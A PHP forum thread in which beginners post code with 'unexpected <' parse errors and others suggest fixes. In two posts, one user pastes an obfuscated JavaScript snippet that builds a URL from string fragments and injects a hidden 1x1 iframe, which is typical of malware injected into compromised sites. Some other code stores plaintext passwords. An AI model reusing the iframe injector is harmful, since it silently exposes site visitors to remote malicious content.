Parse error: syntax error, unexpected '<'

Discussion in 'PHP' started by Pixel Dynamics, Oct 25, 2006.

  1. #1
    I know this is probably a stupid error but:

    Parse error: syntax error, unexpected '<' in /home/nick/public_html/linkwars/phptest.php on line 12

    I can't for the life of me figure out whats wrong. Any help?


    <html>
    <head>
    <title>PHP Test</title>
    </head>
    <body>
    
    <?php
    
    $linkID = mysql_connect("localhost","username","password");
    mysql_select_db("forminfo",$linkID);
    
    <form action="/test/phptest.php" method="get">
    Name:
    <input type="text" name="name"><br>
    Site Name:
    <input type="text" name="sitename"><br>
    Site URL:
    <input type="text" name="siteurl"><br>
    Site Description:
    <input type="text" name="sitedis"><br>
    Your Bid:
    <input type="text" name="bid"><br>
    
    <input type="submit" name="submit">
    </form>
    
    mysql_query("INSERT INTO forminfo (name, site name, site url, site dis, bid) VALUES ($name, '$sitename', '$siteurl', '$sitedis', '$bid')",
    $linkID);
    
    mysql_close($linkID);
    
    ?>
    
    </body>
    </html>
    Code (markup):
    Regards,
    - Nick
     
    Pixel Dynamics, Oct 25, 2006 IP
  2. Pixel Dynamics

    Pixel Dynamics Active Member

    Messages:
    809
    Likes Received:
    20
    Best Answers:
    0
    Trophy Points:
    60
    #2
    Wow, nvm. I got it... I need to print it... DUH!
     
    Pixel Dynamics, Oct 25, 2006 IP
  3. TwistMyArm

    TwistMyArm Peon

    Messages:
    931
    Likes Received:
    44
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Alternatively, you could have just closed off the PHP with ?> before your plain HTML, then start up PHP again with <?php before you start with your PHP code.

    If that makes sense :)
     
    TwistMyArm, Oct 26, 2006 IP
  4. slaich

    slaich Active Member

    Messages:
    31
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    93
    #4
    yes he is right
     
    slaich, Nov 1, 2008 IP
  5. oxidati0n

    oxidati0n Peon

    Messages:
    744
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Yep. It's absolutely right.

    I'd most likely use echo <<<TEXT TEXT; because you can put " and ' without any mistakened errors.
     
    oxidati0n, Nov 1, 2008 IP
  6. sayewhat

    sayewhat Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Hi, i have the same problem and this is what my code says:

    <?php virtual('/Connections/register.php'); ?>
    <?php
    if (!function_exists("GetSQLValueString")) {
    function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
    {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

    $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

    switch ($theType) {
    case "text":
    $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
    break;
    case "long":
    case "int":
    $theValue = ($theValue != "") ? intval($theValue) : "NULL";
    break;
    case "double":
    $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
    break;
    case "date":
    $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
    break;
    case "defined":
    $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
    break;
    }
    return $theValue;
    }
    }
    ?>
    <?php
    // *** Validate request to login to this site.
    if (!isset($_SESSION)) {
    session_start();
    }

    $loginFormAction = $_SERVER['PHP_SELF'];
    if (isset($_GET['accesscheck'])) {
    $_SESSION['PrevUrl'] = $_GET['accesscheck'];
    }

    if (isset($_POST['username'])) {
    $loginUsername=$_POST['username'];
    $password=$_POST['password'];
    $MM_fldUserAuthorization = "id_user";
    $MM_redirectLoginSuccess = "http://www.atldiscreetcompanions.com/companions.html";
    $MM_redirectLoginFailed = "http://www.atldiscreetcompanions.com/error.html";
    $MM_redirecttoReferrer = false;
    mysql_select_db($database_register, $register);

    $LoginRS__query=sprintf("SELECT user_name, paasword, id_user FROM registerusers WHERE user_name=%s AND paasword=%s",
    GetSQLValueString($loginUsername, "text"), GetSQLValueString($password, "text"));

    $LoginRS = mysql_query($LoginRS__query, $register) or die(mysql_error());
    $loginFoundUser = mysql_num_rows($LoginRS);
    if ($loginFoundUser) {

    $loginStrGroup = mysql_result($LoginRS,0,'id_user');

    //declare two session variables and assign them
    $_SESSION['MM_Username'] = $loginUsername;
    $_SESSION['MM_UserGroup'] = $loginStrGroup;

    if (isset($_SESSION['PrevUrl']) && false) {
    $MM_redirectLoginSuccess = $_SESSION['PrevUrl'];
    }
    header("Location: " . $MM_redirectLoginSuccess );
    }
    else {
    header("Location: ". $MM_redirectLoginFailed );
    }
    }
    ?>
    <?php ACTION= "<?php echo $loginFormAction; ?>" METHOD="POST" require_once('login.php'); ?>

    <div align="center">
    <form name="form1" method="POST" action="<?php echo $loginFormAction; ?>">
    <table width="400" border="0" cellspacing="0" cellpadding="3">
    <tr>
    <td width="100">Username:</td>
    <td><input name="username" type="text" id="username"></td>
    </tr>
    <tr>
    <td width="100">Password:</td>
    <td><input name="password" type="password" id="password"></td>
    </tr>
    <tr>
    <td width="100">&nbsp;</td>
    <td><input type="submit" name="Submit" value="Submit"></td>
    </tr>
    </table>
    </form>
    </div>


    <div align="center">Not a member yet? <a href="http://www.atldiscreetcompanions.com/register.php" target="_blank">Sign up</a>.</div>
    <div align="center">Not a VIP member? Sign up or <a href="http://www.atldiscreetcompanions.com/vip.html" target="_blank">join now</a>!
    </div>
    </body>
    </html>

    it says the error is @ line 75 (<?php ACTION= "<?php echo $loginFormAction; ?>" METHOD="POST" require_once('login.php'); ?>)

    Thanks!
     
    sayewhat, Sep 15, 2010 IP
  7. exzevia

    exzevia Peon

    Messages:
    8
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    hie just got the same error (Parse error: syntax error, unexpected '<' in C:\xampp\htdocs\project\reply.php on line 25)


    <?php
    session_start();
    require("config.php");
    require("functions.php");
    $db = mysql_connect($dbhost, $dbuser, $dbpassword);
    mysql_select_db($dbdatabase, $db);
    if(isset($_GET['id']) == TRUE) {
    if(is_numeric($_GET['id']) == FALSE) {
    $error = 1;
    }
    if($error == 1) {
    header("Location: " . $config_basedir);
    }
    else {
    $validtopic = $_GET['id'];
    }
    }
    else {
    header("Location: " . $config_basedir);
    }
    if(isset($_SESSION['USERNAME']) == FALSE) {
    header("Location: " . $config_basedir . "/login.php?ref=reply&id=" .
    $validtopic);
    }
    <form action="<?php echo pf_script_with_get($SCRIPT_NAME); ?>" method="post">
    <table>
    <tr>
    <td>Subject</td>
    <td><input type="text" name="subject"></td>
    </tr>
    <tr>
    <td>Body</td>
    <td><textarea name="body" rows="10" cols="50"></textarea></td>
    </tr>
    <tr>
    <td></td>
    <td><input type="submit" name="submit" value="Post!"></td>
    </tr>
    </table>
    </form>

    <?php
    }
    require("footer.php");
    ?>
     
    exzevia, Oct 22, 2010 IP
  8. Matsini

    Matsini Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #8
    "Parse error: syntax error, unexpected..." problem again.
    I would be pretty pleased if a solution of the situation should be expressed. As a "Quick Reply" most hopefully.
    I try to open ...kallan.org as the Master site of ...facebook.com
    I achive: "Parse error: syntax error, unexpected '<' in /web/org/eng.kallan.org/index.php on line 49"
    We have asked Fb members if they get same result but no, just me.
    If I write the www-address (...kallan.org) correct I recive after 'Enter': ...://eng.kallan.org/
    Can't say no more but an explanation would be "Jummy"!
    Anything else needed?
     
    Matsini, Dec 10, 2010 IP
  9. drctaccess

    drctaccess Peon

    Messages:
    62
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    0
    #9
    you probably forgot to put the closing PHP tag ?> before dealing with HTML code

    example:

    
    <?php //starting tag
    //some php code here
    ?> //ending tag
    //some html code here
    <?php //starting tag
    //some php code here
    ?> //ending tag
    //some HTML code here
    
    Code (markup):
    and so on

    I hope this helps
     
    drctaccess, Dec 10, 2010 IP
  10. senth

    senth Peon

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #10
    Use echo statement for regular HTML tags, this will solve the error.
     
    senth, Dec 10, 2010 IP
  11. JREAM

    JREAM Member

    Messages:
    160
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #11
    This is a simple syntax error - make sure you are using a syntax highlighter to view your code (Such as Notepad++ or Dreamweaver). Then you can clearly see where something is in it's wrong place :) However, I recommend Netbeans it will tell of errors AS you type!
     
    JREAM, Dec 13, 2010 IP
  12. 812402

    812402 Peon

    Messages:
    27
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    I have the same parse error.

    Code:

    <!DOCTYPE HTML 5>
    <html>
    <head>
    <title>Home</title>
    <link rel="icon" href="/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="\812\style.css">
    </head>
    <body>
    
    <h4>Menu</h4>
    <p class="menu"><a href="/812/index.php">Home</a></p>
    </body>
    </html>
    <?php 
    
    if (isset($_SESSION['user_id'])) {
      
      echo '<div class="menu"> <a href="logout.php">Logout</a> <a href="games.php">Games</a></div>';
       
      echo '<h2>Hello, {$_SESSION['username']}</h2>';
    
      echo '<img src="{$_SESSION['thumbnail']}">';
    
      echo '<a href="/812/editavatar.php">Edit Avatar</a>;
        
    } else {
      echo '<div class="menu">
    
      <a href="login.php">Login</a>
      <a href="games.php">Games</a>
      <a href="register.php">Register</a>
      </div>';
      
      echo '<h3><a href="http://812402.com/812/login.php">Click here</a> to login.</h3>';
    };
    
    
    
    ?>
    Code (markup):
    Every reply here I saw still didn't help me.
     
    812402, May 26, 2011 IP
  13. drctaccess

    drctaccess Peon

    Messages:
    62
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    0
    #13
    this line:

    
    echo '<a href="/812/editavatar.php">Edit Avatar</a>;
    
    Code (markup):
    should be
    
    echo '<a href="/812/editavatar.php">Edit Avatar</a>';
    
    Code (markup):
    I hope this helps
     
    drctaccess, May 26, 2011 IP
  14. katkay1

    katkay1 Member

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    43
    #14
    If you got the problem just post it here a full and perfect one as I need it too.
     
    katkay1, May 27, 2011 IP
  15. katkay1

    katkay1 Member

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    43
    #15
    Mention to solution you use for syntax error.
     
    katkay1, May 27, 2011 IP
  16. Feng Xingwei

    Feng Xingwei Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    Similar question!
    Parse error: syntax error, unexpected '>' in H:\TEMP\PHP\learning_php\working_with_databases\retrieving_data.php on line 22
    <?php echo $_SERVER['SCRIPT_NAME']."<BR>"; ?>
    <?php
    echo "<b>Intro: Let's do a little generic database work!</b><BR><BR>";
    $user = "root";
    $passwd = "root";
    $host = "'localhost'“
    // Connecting, selecting database
    $connect = mysql_connect( $host, $user, $passwd)
    or die('Could not connect: ' . mysql_error());
    echo '<b>Step 1:</b> Connected successfully! <BR>';

    $db = 'samples';
    mysql_select_db($db) or die('Could not select database ('.$db.') because of : '.mysql_error());
    echo '<b>Step 2:</b> Connected to ('.$db.') successful!<BR>';

    // Performing SQL query
    $query = 'SELECT * FROM tbl_users';
    $result = mysql_query($query) or die('Query failed: ' . mysql_error());


    // Printing results in HTML
    echo "<br><br><bLet's fetch data...</b><br>";
    echo "<table border='1' width='3000'>\n";

    $count = 0;
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
    echo "\t\t<td>$col_value</td>\n";
    }
    $count++;
    echo "\t</tr>\n";
    }

    echo "</table>\n";

    if ($count < 1) {
    echo "<br><br>No rows were found in this table.<br><br>";
    } else {
    echo "<br><br>".$count." rows were found in this table.<br><br>";
    }

    // We will free the resultset...
    mysql_free_result($result);

    // Now we close the connection...
    mysql_close($connect);
    ?>
     
    Feng Xingwei, Jul 28, 2011 IP
  17. newguy11

    newguy11 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #17
    I'm having the same issues and it just happened overnight. I haven't touched the coding in weeks but today I keep getting the syntax error. Here is the code, somebody PLEASE help me :(mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);
     
    newguy11, Aug 14, 2011 IP
  18. newguy11

    newguy11 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #18
    mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);
     
    newguy11, Aug 14, 2011 IP
  19. johnsonasu35

    johnsonasu35 Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #19
    I recently got hacked, and I have been going through a large amount of my sites to ensure that they are all ok. Well I found one that didn't make it.

    Any help on figuring this one out will be great.

    Error Code: Parse error: syntax error, unexpected '<' in /home3/******/public_html/********/wp-settings.php on line 131

    wp-setting.php code =

    <?php
    /**
    * Used to setup and fix common variables and include
    * the WordPress procedural and class library.
    *
    * You should not have to change this file and allows
    * for some configuration in wp-config.php.
    *
    * @package WordPress
    */


    if ( !defined('WP_MEMORY_LIMIT') )
    define('WP_MEMORY_LIMIT', '32M');


    if ( function_exists('memory_get_usage') && ( (int) @ini_get('memory_limit') < abs(intval(WP_MEMORY_LIMIT)) ) )
    @ini_set('memory_limit', WP_MEMORY_LIMIT);


    set_magic_quotes_runtime(0);
    @ini_set('magic_quotes_sybase', 0);


    if ( function_exists('date_default_timezone_set') )
    date_default_timezone_set('UTC');


    /**
    * Turn register globals off.
    *
    * @access private
    * @since 2.1.0
    * @return null Will return null if register_globals PHP directive was disabled
    */
    function wp_unregister_GLOBALS() {
    if ( !ini_get('register_globals') )
    return;


    if ( isset($_REQUEST['GLOBALS']) )
    die('GLOBALS overwrite attempt detected');


    // Variables that shouldn't be unset
    $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix');


    $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
    foreach ( $input as $k => $v )
    if ( !in_array($k, $noUnset) && isset($GLOBALS[$k]) ) {
    $GLOBALS[$k] = NULL;
    unset($GLOBALS[$k]);
    }
    }


    wp_unregister_GLOBALS();


    unset( $wp_filter, $cache_lastcommentmodified, $cache_lastpostdate );


    /**
    * The $blog_id global, which you can change in the config allows you to create a simple
    * multiple blog installation using just one WordPress and changing $blog_id around.
    *
    * @global int $blog_id
    * @since 2.0.0
    */
    if ( ! isset($blog_id) )
    $blog_id = 1;


    // Fix for IIS when running with PHP ISAPI
    if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {


    // IIS Mod-Rewrite
    if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) {
    $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
    }
    // IIS Isapi_Rewrite
    else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) {
    $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
    }
    else
    {
    // Use ORIG_PATH_INFO if there is no PATH_INFO
    if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) )
    $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];


    // Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
    if ( isset($_SERVER['PATH_INFO']) ) {
    if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
    $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
    else
    $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
    }


    // Append the query string if it exists and isn't null
    if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) {
    $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
    }
    }
    }


    // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
    if ( isset($_SERVER['SCRIPT_FILENAME']) && ( strpos($_SERVER['SCRIPT_FILENAME'], 'php.cgi') == strlen($_SERVER['SCRIPT_FILENAME']) - 7 ) )
    $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];


    // Fix for Dreamhost and other PHP as CGI hosts
    if (strpos($_SERVER['SCRIPT_NAME'], 'php.cgi') !== false)
    unset($_SERVER['PATH_INFO']);


    // Fix empty PHP_SELF
    $PHP_SELF = $_SERVER['PHP_SELF'];
    if ( empty($PHP_SELF) )
    $_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]);


    if ( version_compare( '4.3', phpversion(), '>' ) ) {
    die( sprintf( /*WP_I18N_OLD_PHP*/'Your server is running PHP version %s but WordPress requires at least 4.3.'/*/WP_I18N_OLD_PHP*/, phpversion() ) );
    }


    if ( !defined('WP_CONTENT_DIR') )
    define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down


    if ( file_exists(ABSPATH . '.maintenance') && !defined('WP_INSTALLING') ) {
    include(ABSPATH . '.maintenance');
    // If the $upgrading timestamp is older than 10 minutes, don't die.
    if ( ( time() - $upgrading ) < 600 ) {
    if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
    require_once( WP_CONTENT_DIR . '/maintenance.php' );
    die();
    }


    $protocol = $_SERVER["SERVER_PROTOCOL"];
    if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
    $protocol = 'HTTP/1.0';
    header( "$protocol 503 Service Unavailable", true, 503 );
    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Maintenance</title>


    </head>
    <body>
    <h1>Briefly unavailable for scheduled maintenance. Check back in a minute.</h1>
    </body>
    </html>
    <?php
    die();
    }
    }


    if ( !extension_loaded('mysql') && !file_exists(WP_CONTENT_DIR . '/db.php') )
    die( /*WP_I18N_OLD_MYSQL*/'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.'/*/WP_I18N_OLD_MYSQL*/ );


    /**
    * PHP 4 standard microtime start capture.
    *
    * @access private
    * @since 0.71
    * @global int $timestart Seconds and Microseconds added together from when function is called.
    * @return bool Always returns true.
    */
    function timer_start() {
    global $timestart;
    $mtime = explode(' ', microtime() );
    $mtime = $mtime[1] + $mtime[0];
    $timestart = $mtime;
    return true;
    }


    /**
    * Return and/or display the time from the page start to when function is called.
    *
    * You can get the results and print them by doing:
    * <code>
    * $nTimePageTookToExecute = timer_stop();
    * echo $nTimePageTookToExecute;
    * </code>
    *
    * Or instead, you can do:
    * <code>
    * timer_stop(1);
    * </code>
    * which will do what the above does. If you need the result, you can assign it to a variable, but
    * most cases, you only need to echo it.
    *
    * @since 0.71
    * @global int $timestart Seconds and Microseconds added together from when timer_start() is called
    * @global int $timeend Seconds and Microseconds added together from when function is called
    *
    * @param int $display Use '0' or null to not echo anything and 1 to echo the total time
    * @param int $precision The amount of digits from the right of the decimal to display. Default is 3.
    * @return float The "second.microsecond" finished time calculation
    */
    function timer_stop($display = 0, $precision = 3) { //if called like timer_stop(1), will echo $timetotal
    global $timestart, $timeend;
    $mtime = microtime();
    $mtime = explode(' ',$mtime);
    $mtime = $mtime[1] + $mtime[0];
    $timeend = $mtime;
    $timetotal = $timeend-$timestart;
    $r = ( function_exists('number_format_i18n') ) ? number_format_i18n($timetotal, $precision) : number_format($timetotal, $precision);
    if ( $display )
    echo $r;
    return $r;
    }
    timer_start();


    // Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.
    if ( defined('WP_DEBUG') && WP_DEBUG ) {
    if ( defined('E_DEPRECATED') )
    error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);
    else
    error_reporting(E_ALL);
    // Add define('WP_DEBUG_DISPLAY', false); to wp-config.php to use the globally configured setting for display_errors and not force it to On
    if ( ! defined('WP_DEBUG_DISPLAY') || WP_DEBUG_DISPLAY )
    ini_set('display_errors', 1);
    // Add define('WP_DEBUG_LOG', true); to enable php debug logging to WP_CONTENT_DIR/debug.log
    if ( defined('WP_DEBUG_LOG') && WP_DEBUG_LOG ) {
    ini_set('log_errors', 1);
    ini_set('error_log', WP_CONTENT_DIR . '/debug.log');
    }
    } else {
    define('WP_DEBUG', false);
    if ( defined('E_RECOVERABLE_ERROR') )
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR);
    else
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING);
    }


    // For an advanced caching plugin to use, static because you would only want one
    if ( defined('WP_CACHE') && WP_CACHE )
    @include WP_CONTENT_DIR . '/advanced-cache.php';


    /**
    * Private
    */
    if ( !defined('MEDIA_TRASH') )
    define('MEDIA_TRASH', false);


    /**
    * Stores the location of the WordPress directory of functions, classes, and core content.
    *
    * @since 1.0.0
    */
    define('WPINC', 'wp-includes');


    if ( !defined('WP_LANG_DIR') ) {
    /**
    * Stores the location of the language directory. First looks for language folder in WP_CONTENT_DIR
    * and uses that folder if it exists. Or it uses the "languages" folder in WPINC.
    *
    * @since 2.1.0
    */
    if ( file_exists(WP_CONTENT_DIR . '/languages') && @is_dir(WP_CONTENT_DIR . '/languages') ) {
    define('WP_LANG_DIR', WP_CONTENT_DIR . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
    if (!defined('LANGDIR')) {
    // Old static relative path maintained for limited backwards compatibility - won't work in some cases
    define('LANGDIR', 'wp-content/languages');
    }
    } else {
    define('WP_LANG_DIR', ABSPATH . WPINC . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
    if (!defined('LANGDIR')) {
    // Old relative path maintained for backwards compatibility
    define('LANGDIR', WPINC . '/languages');
    }
    }
    }


    require (ABSPATH . WPINC . '/compat.php');
    require (ABSPATH . WPINC . '/functions.php');
    require (ABSPATH . WPINC . '/classes.php');


    require_wp_db();


    if ( !empty($wpdb->error) )
    dead_db();


    /**
    * Format specifiers for DB columns. Columns not listed here default to %s.
    * @since 2.8.0
    * @see wpdb:$field_types
    * @see wpdb:prepare()
    * @see wpdb:insert()
    * @see wpdb:update()
    */
    $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d',
    'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'commment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d',
    'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d',
    'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d');


    $prefix = $wpdb->set_prefix($table_prefix);


    if ( is_wp_error($prefix) )
    wp_die(/*WP_I18N_BAD_PREFIX*/'<strong>ERROR</strong>: <code>$table_prefix</code> in <code>wp-config.php</code> can only contain numbers, letters, and underscores.'/*/WP_I18N_BAD_PREFIX*/);


    /**
    * Copy an object.
    *
    * Returns a cloned copy of an object.
    *
    * @since 2.7.0
    *
    * @param object $object The object to clone
    * @return object The cloned object
    */
    function wp_clone( $object ) {
    static $can_clone;
    if ( !isset( $can_clone ) ) {
    $can_clone = version_compare( phpversion(), '5.0', '>=' );
    }
    return $can_clone ? clone( $object ) : $object;
    }


    /**
    * Whether the current request is in WordPress admin Panel
    *
    * Does not inform on whether the user is an admin! Use capability checks to
    * tell if the user should be accessing a section or not.
    *
    * @since 1.5.1
    *
    * @return bool True if inside WordPress administration pages.
    */
    function is_admin() {
    if ( defined('WP_ADMIN') )
    return WP_ADMIN;
    return false;
    }


    if ( file_exists(WP_CONTENT_DIR . '/object-cache.php') ) {
    require_once (WP_CONTENT_DIR . '/object-cache.php');
    $_wp_using_ext_object_cache = true;
    } else {
    require_once (ABSPATH . WPINC . '/cache.php');
    $_wp_using_ext_object_cache = false;
    }


    wp_cache_init();
    if ( function_exists('wp_cache_add_global_groups') ) {
    wp_cache_add_global_groups(array ('users', 'userlogins', 'usermeta', 'site-transient'));
    wp_cache_add_non_persistent_groups(array( 'comment', 'counts', 'plugins' ));
    }


    require (ABSPATH . WPINC . '/plugin.php');
    require (ABSPATH . WPINC . '/default-filters.php');
    include_once(ABSPATH . WPINC . '/pomo/mo.php');
    require_once (ABSPATH . WPINC . '/l10n.php');


    if ( !is_blog_installed() && (strpos($_SERVER['PHP_SELF'], 'install.php') === false && !defined('WP_INSTALLING')) ) {
    if ( defined('WP_SITEURL') )
    $link = WP_SITEURL . '/wp-admin/install.php';
    elseif (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false)
    $link = preg_replace('|/wp-admin/?.*?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
    else
    $link = preg_replace('|/[^/]+?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
    require_once(ABSPATH . WPINC . '/kses.php');
    require_once(ABSPATH . WPINC . '/pluggable.php');
    require_once(ABSPATH . WPINC . '/formatting.php');
    wp_redirect($link);
    die(); // have to die here ~ Mark
    }


    require (ABSPATH . WPINC . '/formatting.php');
    require (ABSPATH . WPINC . '/capabilities.php');
    require (ABSPATH . WPINC . '/query.php');
    require (ABSPATH . WPINC . '/theme.php');
    require (ABSPATH . WPINC . '/user.php');
    require (ABSPATH . WPINC . '/meta.php');
    require (ABSPATH . WPINC . '/general-template.php');
    require (ABSPATH . WPINC . '/link-template.php');
    require (ABSPATH . WPINC . '/author-template.php');
    require (ABSPATH . WPINC . '/post.php');
    require (ABSPATH . WPINC . '/post-template.php');
    require (ABSPATH . WPINC . '/category.php');
    require (ABSPATH . WPINC . '/category-template.php');
    require (ABSPATH . WPINC . '/comment.php');
    require (ABSPATH . WPINC . '/comment-template.php');
    require (ABSPATH . WPINC . '/rewrite.php');
    require (ABSPATH . WPINC . '/feed.php');
    require (ABSPATH . WPINC . '/bookmark.php');
    require (ABSPATH . WPINC . '/bookmark-template.php');
    require (ABSPATH . WPINC . '/kses.php');
    require (ABSPATH . WPINC . '/cron.php');
    require (ABSPATH . WPINC . '/version.php');
    require (ABSPATH . WPINC . '/deprecated.php');
    require (ABSPATH . WPINC . '/script-loader.php');
    require (ABSPATH . WPINC . '/taxonomy.php');
    require (ABSPATH . WPINC . '/update.php');
    require (ABSPATH . WPINC . '/canonical.php');
    require (ABSPATH . WPINC . '/shortcodes.php');
    require (ABSPATH . WPINC . '/media.php');
    require (ABSPATH . WPINC . '/http.php');
    require (ABSPATH . WPINC . '/widgets.php');


    if ( !defined('WP_CONTENT_URL') )
    define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.6.0
    */
    if ( !defined('WP_PLUGIN_DIR') )
    define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.6.0
    */
    if ( !defined('WP_PLUGIN_URL') )
    define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.1.0
    */
    if ( !defined('PLUGINDIR') )
    define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat.


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
    if ( !defined('WPMU_PLUGIN_DIR') )
    define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
    if ( !defined('WPMU_PLUGIN_URL') )
    define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
    if ( !defined( 'MUPLUGINDIR' ) )
    define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat.


    if ( is_dir( WPMU_PLUGIN_DIR ) ) {
